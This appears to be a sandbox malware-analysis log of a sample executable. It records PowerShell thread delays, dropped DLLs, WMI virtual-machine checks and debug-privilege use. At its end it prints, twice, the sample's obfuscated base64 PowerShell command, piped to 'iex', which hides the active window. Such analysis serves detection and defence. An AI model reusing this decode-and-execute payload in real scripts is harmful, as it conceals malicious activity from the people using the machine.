Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6220	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2731	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3897
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 899

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.dll			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\3oofqhq2\3oofqhq2.dll			Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6464	Thread sleep count: 6220 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6464	Thread sleep count: 2731 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1476	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4900	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1876	Thread sleep count: 3897 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2056	Thread sleep count: 899 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5632	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1180	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1620799546.00000222F2173000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1620497590.00000222F2173000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1619839618.00000222F2173000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1624901457.00000222F2175000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1623410188.00000222F2173000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW"

Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell decode and execute

Source: Yara match	File source: amsi64_1228.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_6688.amsi.csv, type: OTHER

Encrypted powershell cmdline option found

Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Process created: Base64 decoded [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(('{"Script":"aWYgKC1ub3QgKFtTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLlBTVHlwZU5hbWVdJ1dpbjMyJykuVHlwZSkgew0KICAgIEFkZC1UeXBlIEAiDQogICAgdXNpbmcgU3lzdGVtOw0KICAgIHVzaW5nIFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlczsNCg0KICAgIHB1YmxpYyBjbGFzcyBXaW4zMiB7DQogICAgICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0NCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIEdldEZvcmVncm91bmRXaW5kb3coKTsNCg0KICAgICAgICBbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIildDQogICAgICAgIFtyZXR1cm46IE1hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkJvb2wpXQ0KICAgICAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBib29sIFNob3dXaW5kb3coSW50UHRyIGhXbmQsIGludCBuQ21kU2hvdyk7DQogICAgfQ0KIkANCn0NCmZ1bmN0aW9uIEdldEFjdGl2ZVdpbmRvd1RpdGxlKCkgew0KICAgICRoV25kID0gW1dpbjMyXTo6R2V0Rm9yZWdyb3VuZFdpbmRvdygpDQogICAgJHNiID0gTmV3LU9iamVjdCBTeXN0ZW0uVGV4dC5TdHJpbmdCdWlsZGVyKDI1NikNCiAgICBbV2luMzJdOjpHZXRXaW5kb3dUZXh0KCRoV25kLCAkc2IsICRzYi5DYXBhY2l0eSkgfCBPdXQtTnVsbA0KICAgIHJldHVybiAkc2IuVG9TdHJpbmcoKQ0KfQ0KZnVuY3Rpb24gSGlkZUFjdGl2ZVdpbmRvdygpIHsNCiAgICAkaFduZCA9IFtXaW4zMl06OkdldEZvcmVncm91bmRXaW5kb3coKQ0KICAgIFtXaW4zMl06OlNob3dXaW5kb3coJGhXbmQsIDApDQp9DQokY3VycmVudFdpbmRvd1RpdGxlID0gR2V0QWN0aXZlV2luZG93VGl0bGUNCkhpZGVBY3RpdmVXaW5kb3cNCg=="}' \| ConvertFrom-Json).Script)) \| iex
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Process created: Base64 decoded [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(('{"Script":"aWYgKC1ub3QgKFtTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLlBTVHlwZU5hbWVdJ1dpbjMyJykuVHlwZSkgew0KICAgIEFkZC1UeXBlIEAiDQogICAgdXNpbmcgU3lzdGVtOw0KICAgIHVzaW5nIFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlczsNCg0KICAgIHB1YmxpYyBjbGFzcyBXaW4zMiB7DQogICAgICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0NCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIEdldEZvcmVncm91bmRXaW5kb3coKTsNCg0KICAgICAgICBbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIildDQogICAgICAgIFtyZXR1cm46IE1hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkJvb2wpXQ0KICAgICAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBib29sIFNob3dXaW5kb3coSW50UHRyIGhXbmQsIGludCBuQ21kU2hvdyk7DQogICAgfQ0KIkANCn0NCmZ1bmN0aW9uIEdldEFjdGl2ZVdpbmRvd1RpdGxlKCkgew0KICAgICRoV25kID0gW1dpbjMyXTo6R2V0Rm9yZWdyb3VuZFdpbmRvdygpDQogICAgJHNiID0gTmV3LU9iamVjdCBTeXN0ZW0uVGV4dC5TdHJpbmdCdWlsZGVyKDI1NikNCiAgICBbV2luMzJdOjpHZXRXaW5kb3dUZXh0KCRoV25kLCAkc2IsICRzYi5DYXBhY2l0eSkgfCBPdXQtTnVsbA0KICAgIHJldHVybiAkc2IuVG9TdHJpbmcoKQ0KfQ0KZnVuY3Rpb24gSGlkZUFjdGl2ZVdpbmRvdygpIHsNCiAgICAkaFduZCA9IFtXaW4zMl06OkdldEZvcmVncm91bmRXaW5kb3coKQ0KICAgIFtXaW4zMl06OlNob3dXaW5kb3coJGhXbmQsIDApDQp9DQokY3VycmVudFdpbmRvd1RpdGxlID0gR2V0QWN0aXZlV2luZG93VGl0bGUNCkhpZGVBY3RpdmVXaW5kb3cNCg=="}' \| ConvertFrom-Json).Script)) \| iex
